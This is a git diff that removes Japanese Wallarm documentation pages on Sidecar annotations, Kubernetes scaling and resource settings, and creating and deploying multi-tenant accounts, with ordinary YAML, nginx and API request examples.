        `config.wallarm.parseWebsocket` | WallarmはWebSocketsを完全にサポートしています。デフォルトでは、WebSocketsのメッセージは攻撃解析されません。この機能を有効にするには、API Securityの[サブスクリプションプラン][subscriptions-docs]を有効化し、このアノテーションを使用します: `on`または`off`（デフォルト）。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-unpack-response`

        `config.wallarm.unpackResponse` | アプリケーションのレスポンスで返される圧縮データを展開するかどうか: `on`（デフォルト）または`off`。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-upstream-connect-attempts`

        `config.wallarm.upstream.connectAttempts` | postanalyticsまたはWallarm APIへの即時再接続の試行回数を定義します。 | -| **アノテーション:** `sidecar.wallarm.io/wallarm-upstream-reconnect-interval`

        `config.wallarm.upstream.reconnectInterval` | 即時再接続の試行回数のしきい値を超えた後に、postanalyticsまたはWallarm APIへ再接続を試みる間隔を定義します。 | -| **アノテーション:** `sidecar.wallarm.io/application-port`

        `config.nginx.applicationPort` | 公開されているアプリケーションPodのポートが[見つからない場合](customization.md#application-container-port-auto-discovery)、Wallarmコンテナはこのポート宛の受信リクエストを待ち受けます。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-listen-port`

        `config.nginx.listenPort` | Wallarmコンテナが待ち受けるポートです。このポートはWallarm Sidecarソリューションで使用するために予約されており、`application-port`と同じにはできません。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-http-include`

        対応するチャート値なし | NGINX設定の`http`レベルに[インクルードすべき](customization.md#using-custom-nginx-configuration)NGINX設定ファイルへのパスの配列です。ファイルはコンテナにマウントされている必要があり、このパスはコンテナ内のそのファイルを指している必要があります。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-http-snippet`

        対応するチャート値なし | NGINX設定の`http`レベルに含める[追加のインライン設定](customization.md#using-custom-nginx-configuration)です。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-server-include`

        対応するチャート値なし | NGINX設定の`server`レベルに[インクルードすべき](customization.md#using-custom-nginx-configuration)NGINX設定ファイルへのパスの配列です。ファイルはコンテナにマウントされている必要があり、このパスはコンテナ内のそのファイルを指している必要があります。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-server-snippet`

        対応するチャート値なし | NGINX設定の`server`レベルに含める[追加のインライン設定](customization.md#using-custom-nginx-configuration)です。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-location-include`

        対応するチャート値なし | NGINX設定の`location`レベルに[インクルードすべき](customization.md#using-custom-nginx-configuration)NGINX設定ファイルへのパスの配列です。ファイルはコンテナにマウントされている必要があり、このパスはコンテナ内のそのファイルを指している必要があります。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-location-snippet`

        対応するチャート値なし | NGINX設定の`location`レベルに含める[追加のインライン設定](customization.md#using-custom-nginx-configuration)です。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-extra-modules`

        対応するチャート値なし | 有効化する[追加のNGINXモジュール](customization.md#enabling-additional-nginx-modules)の配列です。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-worker-connections`

        `config.nginx.workerConnections` | NGINXワーカープロセスが開くことのできる[同時接続の最大数](http://nginx.org/en/docs/ngx_core_module.html#worker_connections)です。デフォルトではチャート値は`4096`に設定されています。 | -| **アノテーション:** `sidecar.wallarm.io/nginx-worker-processes`

        `config.nginx.workerProcesses` | [NGINXのワーカープロセス数](http://nginx.org/en/docs/ngx_core_module.html#worker_processes)です。デフォルトではチャート値は`auto`に設定され、ワーカー数はCPUコア数に設定されます。 | -| **アノテーション:** `sidecar.wallarm.io/proxy-extra-volumes`

        対応するチャート値なし | Podに追加する[カスタムボリューム](customization.md#include)（配列）です。アノテーション値は単一引用符`''`で囲む必要があります。 | -| **アノテーション:** `sidecar.wallarm.io/proxy-extra-volume-mounts`

        対応するチャート値なし | `sidecar-proxy`コンテナに追加する[カスタムボリュームマウント](customization.md#include)（JSONオブジェクト）です。アノテーション値は単一引用符`''`で囲む必要があります。 | -| **アノテーション:** `sidecar.wallarm.io/proxy-cpu`

        `config.sidecar.containers.proxy.resources.requests.cpu` | `sidecar-proxy`コンテナの[要求CPU](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/proxy-memory`

        `config.sidecar.containers.proxy.resources.requests.memory` | `sidecar-proxy`コンテナの[要求メモリ](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/proxy-cpu-limit`

        `config.sidecar.containers.proxy.resources.limits.cpu` | `sidecar-proxy`コンテナの[CPU制限](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/proxy-memory-limit`

        `config.sidecar.containers.proxy.resources.limits.memory` | `sidecar-proxy`コンテナの[メモリ制限](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/helper-cpu`

        `config.sidecar.containers.helper.resources.requests.cpu` | `sidecar-helper`コンテナの[要求CPU](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/helper-memory`

        `config.sidecar.containers.helper.resources.requests.memory` | `sidecar-helper`コンテナの[要求メモリ](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/helper-cpu-limit`

        `config.sidecar.containers.helper.resources.limits.cpu` | `sidecar-helper`コンテナの[CPU制限](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/helper-memory-limit`

        `config.sidecar.containers.helper.resources.limits.memory` | `sidecar-helper`コンテナの[メモリ制限](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/init-iptables-cpu`

        `config.sidecar.initContainers.iptables.resources.requests.cpu` | `sidecar-init-iptables`コンテナの[要求CPU](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/init-iptables-memory`

        `config.sidecar.initContainers.iptables.resources.requests.memory` | `sidecar-init-iptables`コンテナの[要求メモリ](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/init-iptables-cpu-limit`

        `config.sidecar.initContainers.iptables.resources.limits.cpu` | `sidecar-init-iptables`コンテナの[CPU制限](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/init-iptables-memory-limit`

        `config.sidecar.initContainers.iptables.resources.limits.memory` | `sidecar-init-iptables`コンテナの[メモリ制限](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/init-helper-cpu`

        `config.sidecar.initContainers.helper.resources.requests.cpu` | `sidecar-init-helper`コンテナの[要求CPU](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/init-helper-memory`

        `config.sidecar.initContainers.helper.resources.requests.memory` | `sidecar-init-helper`コンテナの[要求メモリ](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/init-helper-cpu-limit`

        `config.sidecar.initContainers.helper.resources.limits.cpu` | `sidecar-init-helper`コンテナの[CPU制限](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/init-helper-memory-limit`

        `config.sidecar.initContainers.helper.resources.limits.memory` | `sidecar-init-helper`コンテナの[メモリ制限](customization.md#per-pod-settings)です。 | -| **アノテーション:** `sidecar.wallarm.io/profile`

        対応するチャート値なし | [TLS/SSL終端](customization.md#ssltls-termination)のためにアプリケーションPodに特定のTLSプロファイルを割り当てるために使用します。

        このアノテーションとTLS/SSL終端はHelmチャート4.6.1以降でサポートされます。 | - -直接のアノテーションで網羅されていないものの、Wallarmがサポートする[NGINXディレクティブ][nginx-directives-docs]は他にもあります。とはいえ、[`nginx-*-snippet`および`nginx-*-include`アノテーション](customization.md#using-custom-nginx-configuration)を使用すれば、それらも設定できます。 - -## アノテーションの使用方法 - -Podにアノテーションを適用するには、対象アプリケーション設定の`Deployment`オブジェクトの設定に指定します。例: - - -```bash -kubectl edit deployment -n -``` - -```yaml hl_lines="17" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` \ No newline at end of file diff --git a/docs/latest-ja/installation/kubernetes/sidecar-proxy/scaling.md b/docs/latest-ja/installation/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index 0a094e926f..0000000000 --- a/docs/latest-ja/installation/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,357 +0,0 @@ -# Wallarm Sidecarのスケーリングと高可用性 - -このガイドでは、[Wallarm Sidecarソリューション][sidecar-docs]におけるスケーリング、高可用性(HA)、および適切なリソース割り当ての要点に焦点を当てます。これらを適切に構成することで、Wallarm Sidecarの信頼性とパフォーマンスを向上させ、ダウンタイムを最小化しつつ効率的なリクエスト処理を実現できます。 - -構成は大きく次の2つのセグメントに分類されます： - -* Wallarm Sidecarコントロールプレーン用の設定 -* sidecarが注入されたアプリケーションワークロード用の設定 - -Wallarm Sidecarのスケーリングと高可用性は、標準的なKubernetesのプラクティスに依存します。推奨事項を適用する前に基礎を把握するため、次のリンクを参照することをおすすめします: - -* [KubernetesのHorizontal Pod Autoscaling (HPA)](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/) -* [Kubernetesにおける高可用クラスター](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/high-availability/) -* [コンテナとPodへのCPUリソースの割り当て](https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) - -## Wallarm Sidecarコントロールプレーンのスケーリング - -Wallarm Sidecarソリューションは[controllerとpostanalytics(wstore)の2つのコンポーネントで構成されます][sidecar-arch-docs]。それぞれに個別のスケーリング設定が必要で、`replicas`、`requests`、`podAntiAffinity`といったKubernetesパラメータを使用します。 - -### Controller - -Sidecar Controllerはmutating admission webhookとして機能し、アプリケーションのPodにsidecarコンテナを注入します。多くの場合、HPAによるスケーリングは不要です。HAデプロイメントのために、`values.yaml`ファイルで次の設定を検討してください: - -* Sidecar Podを2つ以上のインスタンスで実行します。これは[`controller.replicaCount`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L867)属性で制御します。 -* 必要に応じて、ControllerのPodに予約リソースを確保するため[`controller.resources.requests.cpu`と`controller.resources.requests.memory`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L991)を設定します。 -* 必要に応じて、Pod anti-affinityを使用してControllerのPodを複数のノードに分散し、ノード障害発生時の耐障害性を高めます。 - -これらの推奨事項を反映した`values.yaml`ファイルの`controller`セクションの例を次に示します: - -```yaml -controller: - replicaCount: 2 - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - controller - topologyKey: kubernetes.io/hostname - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi -``` - -### Postanalytics(wstore) - -postanalyticsコンポーネントは、アプリケーションワークロードに注入されたすべてのsidecarコンテナからのトラフィックを処理します。このコンポーネントはHPAではスケールできません。 - -HAデプロイメントでは、`values.yaml`ファイルの次の設定を使用してReplica数を手動で調整できます: - -* postanalytics Podを2つ以上のインスタンスで実行します。これは[`postanalytics.replicaCount`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L447)属性で制御します。 -* 予想されるアプリケーションワークロードのトラフィック量に基づいて、[`postanalytics.wstore.config.arena`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L625)をギガバイト(GB)単位で設定します。この設定はwstoreが使用する最大メモリを決定します。計算の目安については、[他のデプロイメントオプション向けの当社推奨と同様の指針][wstore-memory-recommendations]が参考になります。 - - [NGINX Node 5.x以前][what-is-new-wstore]では、このパラメータ名は`postanalytics.tarantool.config.arena`でした。アップグレード時には名称の変更が必要です。 -* [`postanalytics.wstore.resources.limits`と`postanalytics.wstore.resources.requests`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L654)を`arena`の設定に合わせます。ピーク需要に対応しメモリ関連のクラッシュを回避するため、`limits`は`arena`の値以上に設定します。wstoreの最適なパフォーマンスのため、`requests`も`arena`の値以上であることを確認します。詳細は[Kubernetesのドキュメント](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/)を参照してください。 - - [NGINX Node 5.x以前][what-is-new-wstore]では、これらのパラメータ名は`postanalytics.tarantool.resources.limits`および`postanalytics.tarantool.resources.requests`でした。アップグレード時には名称の変更が必要です。 -* 必要に応じて、postanalytics(wstore) Podに専用のリソースを確保できるよう、`postanalytics`セクション内の他のすべてのコンテナに対しても`resources.requests`と`resources.limits`を設定します。これらのコンテナには`postanalytics.init`、`postanalytics.supervisord`、`postanalytics.appstructure`が含まれます。 -* 必要に応じて、Pod anti-affinityを実装してpostanalyticsのPodを複数のノードに分散し、ノード障害時の耐障害性を高めます。 - -これらの推奨事項を反映した`values.yaml`ファイルの`postanalytics`セクションの例を次に示します: - -```yaml -postanalytics: - replicaCount: 2 - wstore: - config: - arena: "2.0" - resources: - limits: - cpu: 1000m - memory: 2Gi - requests: - cpu: 500m - memory: 2Gi - init: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - supervisord: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - appstructure: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - postanalytics - topologyKey: kubernetes.io/hostname -``` - -## sidecarコンテナを注入したアプリケーションワークロードのスケーリング - -アプリケーションワークロードの管理にHorizontal Pod Autoscaling(HPA)を使用する場合、Wallarm Sidecarが注入するものを含め、Pod内のすべてのコンテナに対して`resources.requests`を設定することが不可欠です。 - -### 前提条件 - -Wallarmコンテナに対して[HPAを実装](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/)するには、次の前提条件を満たしていることを確認してください: - -* Kubernetesクラスターに[Metrics Server](https://github.com/kubernetes-sigs/metrics-server#readme)がデプロイされ、構成されていること。 -* Initコンテナを含め、アプリケーションPod内のすべてのコンテナに[`resources.request`](https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/)が設定されていること。 - - アプリケーションコンテナのリソース割り当ては、そのマニフェストで指定する必要があります。Wallarmが注入するコンテナについては、以下にリソース設定を示しており、[グローバルまたはPod単位][sidecar-conf-area]のいずれでも割り当て可能です。 - -### Helmチャートのvaluesによるグローバルな割り当て - -| コンテナのデプロイパターン | コンテナ名 | チャート値 | -|-------------------|-----------------------|--------------------------------------------------| -| [Split、Single][single-split-deployment] | sidecar-proxy | config.sidecar.containers.proxy.resources | -| Split | sidecar-helper | config.sidecar.containers.helper.resources | -| Split、Single | sidecar-init-iptables | config.sidecar.initContainers.iptables.resources | -| Split | sidecar-init-helper | config.sidecar.initContainers.helper.resources | - -リソース(requestsとlimits)をグローバルに管理するためのHelmチャートのvaluesの例: - -```yaml -config: - sidecar: - containers: - proxy: - resources: - requests: - cpu: 200m - memory: 256Mi - limits: - cpu: 500m - memory: 512Mi - helper: - resources: - requests: - cpu: 100m - memory: 128Mi - limits: - cpu: 300m - memory: 256Mi - initContainers: - helper: - resources: - requests: - cpu: 100m - memory: 64Mi - limits: - cpu: 300m - memory: 128Mi - iptables: - resources: - requests: - cpu: 50m - memory: 32Mi - limits: - cpu: 100m - memory: 64Mi -``` - -### PodのアノテーションによるPod単位の割り当て - -| コンテナのデプロイパターン | コンテナ名 | アノテーション | -|-------------------|-----------------------|----------------------------------------------------------------------------| -| [Single、Split][single-split-deployment] | sidecar-proxy | sidecar.wallarm.io/proxy-{cpu,memory,cpu-limit,memory-limit} | -| Split | sidecar-helper | sidecar.wallarm.io/helper-{cpu,memory,cpu-limit,memory-limit} | -| Single、Split | sidecar-init-iptables | sidecar.wallarm.io/init-iptables-{cpu,memory,cpu-limit,memory-limit} | -| Split | sidecar-init-helper | sidecar.wallarm.io/init-helper-{cpu,memory,cpu-limit,memory-limit} | - -`single`コンテナパターンを有効化した場合の、Pod単位でリソース(requestsとlimits)を管理するためのアノテーション例: - -```yaml hl_lines="16-24" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/proxy-cpu: 200m - sidecar.wallarm.io/proxy-cpu-limit: 500m - sidecar.wallarm.io/proxy-memory: 256Mi - sidecar.wallarm.io/proxy-memory-limit: 512Mi - sidecar.wallarm.io/init-iptables-cpu: 50m - sidecar.wallarm.io/init-iptables-cpu-limit: 100m - sidecar.wallarm.io/init-iptables-memory: 32Mi - sidecar.wallarm.io/init-iptables-memory-limit: 64Mi - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -## 例 - -以下は、前述の設定を適用したWallarmチャートの`values.yaml`ファイルの例です。この例では、Wallarmが注入するコンテナのリソースがグローバルに割り当てられていることを前提としています。 - -```yaml -controller: - replicaCount: 2 - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - controller - topologyKey: kubernetes.io/hostname - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi -postanalytics: - replicaCount: 2 - wstore: - config: - arena: "2.0" - resources: - limits: - cpu: 1000m - memory: 2Gi - requests: - cpu: 500m - memory: 2Gi - init: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - supervisord: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - appstructure: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - postanalytics - topologyKey: kubernetes.io/hostname -config: - sidecar: - containers: - proxy: - resources: - requests: - cpu: 200m - memory: 256Mi - limits: - cpu: 500m - memory: 512Mi - helper: - resources: - requests: - cpu: 100m - memory: 128Mi - limits: - cpu: 300m - memory: 256Mi - initContainers: - helper: - resources: - requests: - cpu: 100m - memory: 64Mi - limits: - cpu: 300m - memory: 128Mi - iptables: - resources: - requests: - cpu: 50m - memory: 32Mi - limits: - cpu: 100m - memory: 64Mi -``` \ No newline at end of file diff --git a/docs/latest-ja/installation/multi-tenant/configure-accounts.md b/docs/latest-ja/installation/multi-tenant/configure-accounts.md deleted file mode 100644 index bde969a41b..0000000000 --- a/docs/latest-ja/installation/multi-tenant/configure-accounts.md +++ /dev/null @@ -1,150 +0,0 @@ -# Wallarm Consoleでテナントアカウントを作成する - -本手順では、[テナントアカウント](overview.md)を正しく設定するための手順を説明します。 - ---8<-- "../include/waf/features/multi-tenancy/partner-client-term.md" - -## テナントアカウントの設定 - -テナントアカウントを設定するには、次の手順を実行します。 - -1. Wallarm Consoleにサインアップし、マルチテナンシー機能の有効化をWallarmテクニカルサポートに依頼します。 -1. テナントアカウントを作成します。 -1. 特定のトラフィックをテナントおよびそのアプリケーションに関連付けます。 - -### ステップ1: サインアップし、マルチテナンシー機能の有効化を依頼する - -1. Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/signup)または[EU Cloud](https://my.wallarm.com/signup)で登録フォームに入力し、確認します。 - - ![登録フォーム](../../images/signup-en.png) - - !!! info "企業メールアドレス" - 企業のメールアドレスでサインアップしてください。 -2. メールを開き、受信したメッセージのリンクからアカウントを有効化します。 -3. ご利用のアカウントのマルチテナンシー機能を有効化するよう、[Wallarmテクニカルサポート](mailto:support@wallarm.com)に依頼を送信します。依頼には次の情報を含めてください。 - * 使用中のWallarm Cloud名（US CloudまたはEU Cloud） - * グローバルアカウントおよびテクニカルテナントアカウントの名称 - * テナントアカウントへのアクセスを付与する従業員のメールアドレス（マルチテナンシー機能の有効化後は、従業員を自身で追加できるようになります） - * ブランド適用用のWallarm Consoleロゴ - * Wallarm Console用のカスタムドメイン、そのドメインの証明書と暗号化キー - * 貴社のテクニカルサポート用メールアドレス - -依頼を受領後、Wallarmテクニカルサポートは次を実施します。 - -1. Wallarm Cloudにグローバルアカウントとテクニカルテナントアカウントを作成します。 -2. テクニカルクライアントアカウントのユーザー一覧に、**Global administrator**の[ロール](../../user-guides/settings/users.md)であなたを追加します。 -3. 従業員のメールアドレスが提供されている場合、Wallarmテクニカルサポートは、テクニカルテナントアカウントのユーザー一覧に**Global read only**の[ロール](../../user-guides/settings/users.md)で従業員を追加します。 - - 未登録の従業員には、テクニカルテナントアカウントにアクセスするための新しいパスワードを設定するリンクを含むメールが届きます。 -4. あなたのUUID（隔離環境向けにマルチテナンシーを使用するWallarmパートナー企業またはWallarmクライアントを示すメインテナントUUID）を送付します。 - - 受領したUUIDは後続の手順で必要になります。 - -### ステップ2: テナントを作成する - -#### Wallarm Console経由 - -Global administratorアカウントで、Wallarm Console → tenant selector → **Create tenant**からテナントを作成できます。 - -![!Wallarm Consoleでのテナント作成](../../images/partner-waf-node/tenant-create-via-ui.png) - -新しいテナント向けに新規のAdministrator[ユーザー](../../user-guides/settings/users.md#user-roles)を作成できます。指定したアドレスに招待メールが送信されます。 - -#### Wallarm API経由 - -テナントを作成するには、Wallarm APIに対して認証済みリクエストを送信できます。認証済みリクエストは、独自のAPIクライアントから送信するか、認証方法が定義された[Wallarm API Console](../../api/overview.md)から送信できます。 - -* **Wallarm API Console**からリクエストを送信する場合は、**Global administrator**ユーザーロールでWallarm Consoleにサインインし、以下のWallarm API Consoleページを更新します。 - * https://apiconsole.us1.wallarm.com/ US Cloud向け - * https://apiconsole.eu1.wallarm.com/ EU Cloud向け -* **独自のAPIクライアント**からリクエストを送信する場合は、リクエストに[Global Administratorの権限を持つAPIトークン](../../user-guides/settings/api-tokens.md)を渡す必要があります。 - -このステップでは、グローバルアカウントに紐づいたテナントアカウントが作成されます。 - -1. 次のパラメータを指定して、ルート`/v1/objects/client/create`にPOSTリクエストを送信します。 - - パラメータ | 説明 | リクエスト部位 | 必須 - --------- | -------- | ------------- | --------- - `X-WallarmApi-Token` | **Global Administrator**の権限を持つ[APIトークン](../../user-guides/settings/api-tokens.md)。 | ヘッダー | はい（独自のAPIクライアントからリクエストを送信する場合） - `name` | テナント名。 | ボディ | はい - `vuln_prefix` | 脆弱性トラッキングおよびテナントとの関連付けにWallarmが使用する脆弱性プレフィックス。プレフィックスは4文字の大文字または数字で構成し、テナント名に関連したものにします。例: テナント`Tenant`に対しては`TNNT`。 | ボディ | はい - `partner_uuid` | グローバルアカウント作成時に受領した[メインテナントUUID](#step-1-sign-up-and-send-a-request-to-activate-the-multitenancy-feature)。 | ボディ | はい - - ??? info "独自のAPIクライアントから送信するリクエスト例を表示" - === "US Cloud" - ```bash - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/client/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"name\": \"Tenant\", \"vuln_prefix\": \"TNNT\", \"partner_uuid\": \"YOUR_PARTNER_UUID\"}" - ``` - === "EU Cloud" - ``` bash - curl -v -X POST "https://api.wallarm.com/v1/objects/client/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"name\": \"Tenant\", \"vuln_prefix\": \"TNNT\", \"partner_uuid\": \"YOUR_PARTNER_UUID\"}" - ``` - - ??? info "レスポンス例を表示" - ``` bash - { - "status":200, - "body": { - "id":10110, - "name":"Tenant 1", - "components":["waf"], - "vuln_prefix":"TNTST", - ... - "uuid":"11111111-1111-1111-1111-111111111111", - ... - } - } - ``` - -2. レスポンスの`uuid`パラメータの値を控えます。このパラメータは、テナントのトラフィックをテナントアカウントに紐付ける際に使用します。 - -作成したテナントは、[グローバルユーザー](../../user-guides/settings/users.md#user-roles)に対してWallarm Consoleに表示されます。例えば、`Tenant 1`や`Tenant 2`です。 - -![Wallarm Consoleのテナントセレクタ](../../images/partner-waf-node/clients-selector-in-console.png) - -### ステップ3: 特定のトラフィックをテナントに関連付ける - -!!! info "設定のタイミング" - この設定は、ノードのデプロイ時に実施し、すべてのテナントのトラフィックが1つのWallarmノードのみで[処理されている、または処理される予定](deploy-multi-tenant-node.md)の場合に限ります。 - - 各テナントのトラフィックを個別のノードが処理する場合は、このステップをスキップして[ノードのデプロイと設定](deploy-multi-tenant-node.md)に進んでください。 - -どのトラフィックをどのテナントアカウントの配下に表示すべきかをWallarm Cloudに伝えるため、特定のトラフィックを作成したテナントに関連付ける必要があります。そのために、NGINXの設定ファイルにテナントを含め、`wallarm_partner_client_uuid`ディレクティブの値としてその`uuid`（**ステップ3**で取得）を指定します。例: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... -} -``` - -上記の設定では、`tenant1.com`宛のトラフィックはクライアント`11111111-1111-1111-1111-111111111111`に関連付けられます。 - -## アカウントへのアクセス権をユーザーに付与する - -* テクニカルテナントアカウントには、ユーザーに付与できる**グローバル**および**通常**の[ロール](../../user-guides/settings/users.md)があります。 - - グローバルユーザーは、リンクされたすべてのテナントアカウントにアクセスできます。 - - 通常ユーザーは、テクニカルテナントアカウントのみにアクセスできます。 -* 各テナントアカウント上では、ユーザーに付与できるのは**通常**の[ロール](../../user-guides/settings/users.md)のみです。 - - ユーザーは、特定のテナントアカウント内でブロックされたリクエストの追跡、検出された脆弱性の分析、フィルタリングノードの追加設定を実行できます。ロールが許可している場合、ユーザーは相互にユーザーを追加できます。 - -[マルチテナントノードのデプロイと設定へ →](deploy-multi-tenant-node.md) - -## Wallarm Consoleでのテナントアカウントの無効化と有効化 - -Wallarm Consoleでは、**Global administrator**ロールのユーザーが、その管理対象のグローバルアカウントにリンクされたテナントアカウントを無効化できます。テナントアカウントを無効化すると、次の影響があります。 - -* このテナントアカウントのユーザーはWallarm Consoleにアクセスできません。 -* この[テナントレベル](deploy-multi-tenant-node.md#multi-tenant-node-characteristics)にインストールされているフィルタリングノードはトラフィックの処理を停止します。 - -無効化されたアカウントは削除されず、再度有効化できます。 - -テナントアカウントを無効化するには、tenant selectorでtenant menuから**Deactivate**を選択し、確認します。テナントアカウントは無効化され、テナント一覧から非表示になります。 - -![テナント - Deactivate](../../images/partner-waf-node/tenant-deactivate.png) - -以前に無効化したテナントアカウントを有効化するには、tenant selectorで**Show deactivated tenants**をクリックし、対象テナントで**Activate**を選択します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/multi-tenant/deploy-multi-tenant-node.md b/docs/latest-ja/installation/multi-tenant/deploy-multi-tenant-node.md deleted file mode 100644 index a62570c5d0..0000000000 --- a/docs/latest-ja/installation/multi-tenant/deploy-multi-tenant-node.md +++ /dev/null @@ -1,162 +0,0 @@ -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md - -# マルチテナントノードのデプロイと設定 - -[マルチテナント](overview.md)ノードは、複数の独立した企業のインフラまたは分離された環境を同時に保護します。 - -## マルチテナントノードのデプロイオプション - -ご利用のインフラおよび対応したい課題に基づいて、マルチテナントノードのデプロイ方法を選択します。 - -* 以下のように、1つのWallarmノードで全クライアントまたは分離環境のトラフィックをフィルタリングします。 - - ![パートナーノードの構成図](../../images/partner-waf-node/partner-traffic-processing-4.0.png) - - * 1つのWallarmノードが複数テナント（Tenant 1、Tenant 2）のトラフィックを処理します。 - - --8<-- "../include/waf/features/multi-tenancy/partner-client-term.md" - - * Wallarmノードは、テナントの一意識別子（[`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid)）により、トラフィックの受信先テナントを識別します。 - * ドメイン`https://tenant1.com`および`https://tenant2.com`に対し、パートナーまたはクライアントのIPアドレス`225.130.128.241`を指すDNS Aレコードを設定します。これは一例であり、パートナー側およびテナント側で別の設定を使用できます。 - * パートナー側では、正当なリクエストをTenant 1のアドレス（`http://upstream1:8080`）およびTenant 2のアドレス（`http://upstream2:8080`）へプロキシするように設定します。これも一例であり、パートナー側およびテナント側で別の設定を使用できます。 - -* 以下のように、各テナント専用にトラフィックをフィルタリングする複数のWallarmノードをデプロイします。 - - ![クライアントの複数ノード構成図](../../images/partner-waf-node/client-several-nodes.png) - - * 特定のテナントごとにトラフィックをフィルタリングする複数のWallarmノード（Tenant 1、Tenant 2）があります。 - * ドメインhttps://tenant1.comには、クライアントIPアドレス225.130.128.241を指すDNSレコードを設定します。 - * ドメインhttps://tenant2.comには、クライアントIPアドレス225.130.128.242を指すDNSレコードを設定します。 - * 各ノードは自テナントのアドレスに正当なリクエストをプロキシします。 - * ノード1はTenant 1へ（http://upstream1:8080）プロキシします。 - * ノード2はTenant 2へ（http://upstream2:8080）プロキシします。 - -## マルチテナントノードの特性 - 